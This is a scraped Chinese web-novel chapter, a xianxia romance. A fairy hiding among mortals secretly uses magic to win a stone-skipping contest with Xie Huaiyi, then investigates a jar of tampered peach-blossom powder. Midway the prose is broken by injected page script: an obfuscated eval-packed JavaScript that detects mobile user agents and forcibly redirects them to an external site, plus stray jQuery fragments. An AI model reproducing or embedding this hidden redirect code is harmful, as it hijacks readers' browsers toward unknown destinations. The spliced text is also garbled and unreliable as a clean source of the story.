谢怀逸已经吃完了,放下筷子单手支着头,胳膊肘搁在桌面上,语气中带着笑问道:“明月小姐就这么喜欢月老祠?”
之前去月老祠的那一天他就观察过,钟离明月对月老祠十分熟稔,比那些常来求姻缘的小姐们还要熟悉,像是在自家后院散步。可她去了也不拜,也不求,就只是转几圈逛一逛,甚至连姻缘牌都不要。去月老祠除了求姻缘和婚姻顺遂,似乎也没有别的可以做的了。
谢怀逸其实没想明白,只觉得姑娘家或许喜欢这些装饰与氛围。
“京诚有月老祠,不过和宋州不太一样。京城的没这么软,大多都是金木所建,不会铺就丝绸纱缎,似乎也没有宋州的灵验”谢怀逸倒没夸大,他陪钟离明月去的那天,见到了不少人去还愿,许什么愿的都有。
京城人多归人多,但大多都是图个吉利,信神,或是实在没有办法了去求神拜佛。
两人往河边走去,谢怀逸不动声色地递了碎银给卖甘露茶的老伯,接过两碗后,又递给钟离明月。
钟离明月听到最后一句的手接茶的手顿了一下,似乎是有些心虚的低头猛喝两口茶。
谢怀逸余光瞥见钟离明月低头灌茶的模样嘴角无声弯了弯接着说道:“不过京城的风景还是和宋州很不一样的。京城的冬天会下雪。”
谢怀逸话音刚落,钟离明月便抬起头,眼底亮晶晶的:“雪?大吗”
谢怀逸轻笑着点头道:“大,不过京城没有宋州气候好,冬天冷,没什么绿色,春天也来得晚。规矩又多,明月小姐过去或许……”他没说完,看着对面眼睛亮亮的一副期待降雪的模样,便忍不住弯了嘴角。
“明月小姐想去京城?”、
钟离明月点了点头,语气中是难掩的兴奋:“想!我想看雪!”
“塞北也有雪,是只想看雪,还是想看京城的雪?”他的眼底荡起一抹笑意。
“有什么区别吗?”钟离明月坐在河边望着飘在河面上的画舫,已经过了正午的时候,河面上的画舫多了起来,丝竹声此起彼伏。
“塞北的雪更烈些,打在脸上会疼,雪大了铺在地上时会和天边连成一片。京城的雪便会柔一些,落在梅花上、瓦片上,更像白玉的点缀。”谢怀逸目光往向宋州河绵延的方向,似乎在江南的绵绵春水中,寻找当年在塞北的记忆。
“那我想看塞北的雪。”
钟离明月顺着他的目光看去,远处依旧是江南春天郁郁葱葱的繁树,与颜色各异的花朵。她从记事起,便一直待在月老殿,周围都是一成不变的祥云与粉空。偶尔外出去别的神仙殿里,也无非是一些仙台楼阁,大同小异。
即便下了凡也是江南富饶之地,钟离明月的目光顺着景色停留在谢怀逸微侧的双目上,他口中的塞北,似乎很荒芜,她的目光重新落回水面,里头的河鱼还在四处游转,她从未见过荒芜的景色。
谢怀逸有些意外的转过头,很少有姑娘会对塞北的雪感兴趣,特别是这些世家大族的小姐。塞北太苦了,连他刚去的时候都有些受不了,七岁那年不知在营帐内哭闹过多少次,但还是被父王硬生生拽入了风雪中,父王当时说了什么已经记不清了,但风雪一如既往的大。
有画舫靠岸,船头灯笼轻晃,薄纱被轻轻撩开,抱着琵琶的歌女从船上莲步而下,路过钟离明月时顿了顿脚步。
“钟离小姐?怎么在这坐着?要去画舫上坐坐吗?”声音轻柔婉转,像是抱着的琵琶弹出的尾音。
钟离明月听见熟悉的声音仰头望去:“嗯?是青娘呀?我今天和朋友去枕河楼吃饭的,吃完来消消食。”她朝谢怀逸的方向抬了抬下巴,又转回来继续道,“下次去画舫找你玩呀。”
青娘的目光轻轻移到谢怀逸身上,玄袍青年立在河边,眉目清俊,周身气质冷冽,不像宋州本地人,她俯身盈盈一拜:“见过公子。”
谢怀逸略一颔首,算是回了礼。
随后青娘又转向钟离明月,“那钟离小姐玩的开心,奴家可记住了您下次要找我玩,可不许耍奴家。”
钟离明月眼睛弯弯的点头。
待到青娘走后,谢怀逸用石子打了个水漂,薄片状的石子在水面上弹了三下才沉默下去:“明月小姐认识的人还挺广。”
钟离明月见此景,也随手拿起一块石头学着他的模样打水漂,弹了五下:“a还好啦,从小就生活在这里嘛,大家都是经常能见到的。”
谢怀逸的目光却停留在那颗石子上,带着棱角,更偏向一个圆形,激起五次涟漪后沉入水里,这样的石子竟然能在河面上弹五下,他的目光重新移到钟离明月的手上道:“明月小姐的技术还挺好,你表兄教你的?”
“我自学成才。”钟离明月拍拍手上的灰,眼睛都不眨一下。
手腕转动间,一道极淡的粉色灵光像萤火般在她指尖闪了一下,转瞬便与暮色融在了一起。刚才那串涟漪连方向都是歪歪扭扭的,本该在第二下便沉浸,但被她用灵力轻轻托了一把,在水面多蹦了几下。
她本来还可让石子再蹦跶一阵,但在凡间,多了有些奇怪。
谢怀逸没再追问,弯腰捡了块石子,这回特意挑了个带棱角的,和她那块差不多圆。他同样一甩,连角度都分毫不差——三下。
“看来谢某确实没什么天赋。”谢怀逸也不恼,反而带着笑。
钟离明月险些没绷住嘴角。她背过手去,把手残余的灵光悄悄按灭了,面上还装出高深的模样,像那世外高人一般道:“没事,多练练就好了。这种东西吧,三分靠技术,七分靠天分。”
"受教了。”谢怀逸看着她得意的模样,嘴角的弧度更浓,“走吧,天才。”
钟离明月跟上来的步子很轻快,河风吹起她的裙角,她一步一个脚印的走在谢怀逸身后。
在天庭待了上千年,仙术从没用在这种事上过,还是凡间好。
连作弊都有人捧场。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838860|211573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>"下次带你来坐画舫。"钟离明月指了指河面,"那上面的天青酿比枕河轩的茶还香,青娘的琵琶可好听了,不过得晚上去,白天没什么意思。"
谢怀逸顺着她的手指看了一眼应了一声道:“好。”
钟离明月一边侧着身和谢怀逸讲述天青酿的滋味,一边笑眯眯的和他往钟离府走去。话音未落,一道人影忽然从旁边的窄巷里窜出来,脚步仓促,怀里抱着个粗陶坛子,直直朝二人撞来。
谢怀逸眼疾手快将钟离明月往后拉了一步,侧身挡在她的身前,右手同时抬起,用手臂格开了那人撞过来的肩膀。
那人踉跄了一下,坛子在怀里晃了晃,险些脱手,坛口被撞开一条缝,钟离明月经脉内的灵力几乎在同一瞬间翻涌起来,她下意识的抓起谢怀逸的手腕。
“追。”
谢怀逸看了一眼自己被拽着的手腕,只一瞬便反手握着钟离明月的手腕带着她往追上那人。
那人见有人追上,连坛子都不要了,随手丢砸在他们脚下,陶土碎片在他们脚下迸开,甜腻的气息瞬间喷涌而出,暗红色的细粉漫天飞舞。
谢怀逸伸手往回拽了一把钟离明月,让她避开了那陶土碎片与药粉,自己却松手追上。
“你在这,我去追。你查完回府,我把人带回去给你。”
“小心为上,抓不到也没事。”
谢怀逸不再多言,足尖轻点,像是一阵疾风,却又悄无声息,向那人消失的方向追去。
钟离明月蹲下身,指尖轻沾粉末,捏在手中摩挲两下,暗红细粉像是融化一般融进她的指尖。粉末化作一段暗红微光,在她体内灵脉横冲直撞,没两下却被浅粉灵光围绕,消溶的悄无声息。
她的眉间轻皱,又捻起一点放在鼻尖闻了闻,甜得发腻的气息直冲撞入鼻腔。比李家的陶罐和江瑟瑟香囊内的都要浓,这不是普通桃花散的气味,普通的桃花散气味虽浓但带着清甜,就像数十棵桃花树一齐开放,而这坛子内的至少几百棵,还是被压缩过的。
低头望去,指尖遗留下几个红的发黑的暗点,是没能被吸收的桃花散。这桃花散被人提炼过,也可能被人加了些东西。
钟离明月的脑海里闪过早晨在那药铺空无一人的场景,一丝桃花散的气味都没有,那里太干净了,干净的不正常。这坛子又太浓了,浓的也不正常。
她站起身,往谢怀逸消失的方向看了一眼,巷子深处已经没有任何声响,连脚步声都听不见了。
他们俩是不是跑的太快了些。
周遭的街市依旧热闹,来来往往的小贩推着竹车经过旁边,带起阵阵微风将药粉卷上半空。
看着散落一地的碎片与药粉,钟离明月找隔壁摊贩的老伯借了两张油纸,弯腰那桃花散与陶片都捡拾起来收好后,转身往钟离府走去。
经过那窄巷巷口时,她的脚步微微停顿,这里面太安静了些,外头人来人往,里面却没有一丝动静。